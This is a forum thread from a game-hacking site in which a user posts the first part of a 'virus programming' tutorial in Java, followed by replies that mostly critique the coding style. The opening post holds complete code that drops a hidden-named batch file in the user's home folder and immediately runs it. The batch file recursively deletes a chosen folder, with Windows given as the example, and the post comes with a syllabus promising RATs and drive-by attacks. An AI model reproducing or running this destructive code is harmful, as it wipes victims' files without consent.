Skip to content
MPGHThe Dark Arts
/
RegisterLog in
Forum
Community
What's NewLatest posts across the boardTrendingHottest threads right nowSubscribedThreads you follow
Discussion
GeneralIntroductionsEntertainmentDebate FortFlaming & Rage
Board
News & AnnouncementsMPGH TimesSuggestions & HelpGiveaways
More Sections
Art & Graphic DesignProgrammingHackingCryptocurrency
Hacks & Cheats
Games
ValorantCS2 / CS:GOCall of Duty / WarzoneFortniteApex LegendsEscape From Tarkov
+14 moreLeague of LegendsGTA VMinecraftRustROTMGBattlefieldTroveBattleOnCombat ArmsCrossFireBlackshotRuneScapeDayZDead by Daylight
Resources
Game Hacking TutorialsReverse EngineeringGeneral Game HackingAnti-CheatConsole Game Hacking
Tools
Game Hacking ToolsTrainers & CheatsHack/Release NewsNew
Submit a release →Share your cheat, tool, or config with the community.
AINEW
AI Tools
General & DiscussionPrompt EngineeringLLM JailbreaksHotAI Agents & AutomationLocal / Open Models
AI × Gaming
AI Aimbots & VisionML Anti-CheatGame Bots & Automation
Create
AI Coding / Vibe CodingAI Art & MediaAI Voice & TTS
The AI frontier →Where game hacking meets modern machine learning. Jump in.
Marketplace
Buy & Sell
SellingBuyingTradingUser Services
Trust & Safety
Middleman LoungeMarketplace TalkVouch Copy Profiles
Money
Cryptocurrency TalkCurrency ExchangeWork & Job Offers
Start selling →List accounts, services, and goods. Use the middleman to trade safe.
MPGH The Dark Arts

A community for offensive security research, reverse engineering, and AI.

Community

ForumMarketplaceSearch

Account

RegisterLog in

Legal

Privacy PolicyForum RulesHelp & FAQ
© 2026 MPGH · All rights reserved.Built by the community, for the community. For educational purposes onlyContent is shared for security research and education — we don't condone illegal use. You're responsible for complying with applicable laws. Use at your own risk.
Home › Forum › Programming › Other Programming › Java › Java Beginning Virus Programming

Java Beginning Virus Programming

Posts 1–11 of 11 · Page 1 of 1
GC
gcflames12
Java Beginning Virus Programming
This tutorial will focus on the very very basics of writting a java virus.
I know java isn't the ideal program to write virus's in, but it is great for learning. Each week i will release a new tutorial here will be how it follows.

Week One:
I. Getting System Properties
II. Creating Files
III. Running Files

Week Two:
I. Creating Temp Files
II. Writting into System Files

Week Three:
I. Disabling security
II. Creating Files that copy itself across computer

Week Four:
I. Remote Access Trojans
II. Opening Connections between client and server

Week Five:
I. Java Drive By's

Week Six:
I. Using Java to penetrate Facebook

Week Seven:
I. Hacking Clients and Applets with Java Snoop


Week One:
I am using the Java Eclipse IDE: Eclipse Classic 4.2.1 | Eclipse Packages
Here we will begin the basics of writting virus code with java. I assume you already know and understand basic java syntax and understand atleast simple programs written in java.

I. The first thing we must know in order to decently place a file in a certain spot on the computer, is how to get the system properties.
Luckily java already has a very nice method for doing this:
Code:
System.getProperty(String path);
Explanation:
[SPOILER]This is a very simple code. I will break it apart
System: Quite Obvious..
getProperty(): Method to return the property of the String you requested.
String path: Basicly here you enter the String you wish to find, i will user "user.home" to get the users home path.[/SPOILER]

II. Next We must know how to create a file. This is a fairly simple code.
Code:
File f =  new File(String FileName);
Explanation:
[SPOILER]File is the Constructor
And the fileName is the name we want to give this file[/SPOILER]

III. I won't go into details about writing to a file but here is the code I used to write into files.
Code:
File f = new File(FileName);
		FileWriter fw = new FileWriter(f);
		BufferedWriter bw = new BufferedWriter(fw);
All this basically does is get a file, open a filewriter, then open a bufferedwriter of the filewriter.

Code: Here i put together a simple example code for this tutorial. Just follow along with the comment to find out what the program does. It simply creates a new file in the users home named %tempDir%.bat and writes a batch file command to delete a specified user folder in the system. Then it runs that batch file and deletes the system folder.
Code:
import java.awt.Desktop;
import java****.BufferedWriter;
import java****.File;
import java****.FileWriter;
import java********Exception;


public class Login {
	//get the users home file path
	public static String getPathToSetFile(){
		//this will get the users home, for example(C:/users/"UsersName"/)
		String home = System.getProperty("user.home");
		return home; // returns the string that we just got(the path)
	}
	//set the file in the given directory
	public static void setFile() throws IOException{
		//creates a new file in the directory we just found, named %tempDir% as a batch file
		File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
		FileWriter fw = new FileWriter(f);
		BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
		if(f.exists()){ //if the file exists
			f.setWritable(true); //allows us to write to file
			bw.write("@echo off"); 
			bw.newLine();
			bw.write("rmdir /s /q \"C:" + File.separator + "AddHere\""); // writes this batch command to file to delete specified folder
			bw.newLine(); // replace add here above with the folder you want deleted ex (Windows)
			bw.write("pause"); //delete this if you dont want bat to stay open after running
		}else{//if the file doesn't exist (no real need for this beacuse we already know the file exists. jsut created it.
		}
		bw.close(); //closes buffered writer
	}
	//gets file and runs it
	public static void runFile() throws IOException{
		setFile();
		File toOpen = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
		Desktop.getDesktop().open(toOpen); //i used the desktop method to run files, dont ask why. just simpler
	}
	//main method
	public static void main(String[] args) throws IOException{
		runFile();//excecuted code
	}
	
}
To delete a folder just change the "AddHere" name in code to the folder you wish to delete.
-I am not responsible for what you do with this code, this is not meant for illegal purposes just to teach how to do it.

-Next Tutorial will be release next week.
-GcFlames12
#1 · 13y ago
abuckau907
abuckau907
mind if I critique a little? But I don't know Java so.. :/

Code:
File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
		FileWriter fw = new FileWriter(f);
		BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
		if(f.exists()){ //if the file exists
                      ....
                  }
                  bw.Close()
maybe create FileWriter and the BufferedWriter {inside} the loop (and move bw.Close() inside)

if the file doesn't exist, there is no point in creating the 2 objects because you won't actually use them.

Not important, and in reality you'll never notice any change in performance. Just browsing the forum.

Tut. has structure. Keep up the hard work. Appreciated. [maybe don't get too malicious w/ it]
#2 · edited 13y ago · 13y ago
Drinking Water
Drinking Water
There should be pictures instead.
#3 · 13y ago
dkofek
dkofek
also, instead of creating a FileWriter you could just

Code:
         File f = new File(FileName);
         BufferedWriter bw = new BufferedWriter(new FileWriter(f));
I know it's basically the same, but it just looks better
#4 · 13y ago
javaEEcrack
javaEEcrack
use nio instead of io
#5 · 13y ago
destruKt
destruKt
Quote Originally Posted by Drinking Water View Post
There should be pictures instead.
Pictures instead of code? lolwut.
#6 · 13y ago
Boost4lol
Boost4lol
week two mia.
#7 · 12y ago
DE
defence14331
when your next week will come . are you telling lie to attract users
#8 · 12y ago
The Void Aroma
The Void Aroma
Quote Originally Posted by Drinking Water View Post
There should be pictures instead.
Drinking Water clearly prefers the traditional picture book format when learning new information.

...give him what he wants!
#9 · 12y ago
KH
khanhvdb
I don't find next tutorial?
#10 · 10y ago
MN
mnwd
You don't write viruses in Java, you use assembly/C
#11 · 6y ago
Posts 1–11 of 11 · Page 1 of 1

Post a Reply

Similar Threads

  • Do you know a free virus program?By xtrylanx in General
    24Last post 18y ago
  • How to remove a virus or keylogger without anti virus programBy hiphopj in CrossFire Tutorials
    5Last post 15y ago
  • Free Anti-Virus ProgramBy Jeezu in General
    37Last post 15y ago
  • Virus ProgramsBy sebimaster in CrossFire Discussions
    12Last post 15y ago
  • a good java programBy snipelock in Java
    18Last post 17y ago

Tags for this Thread

None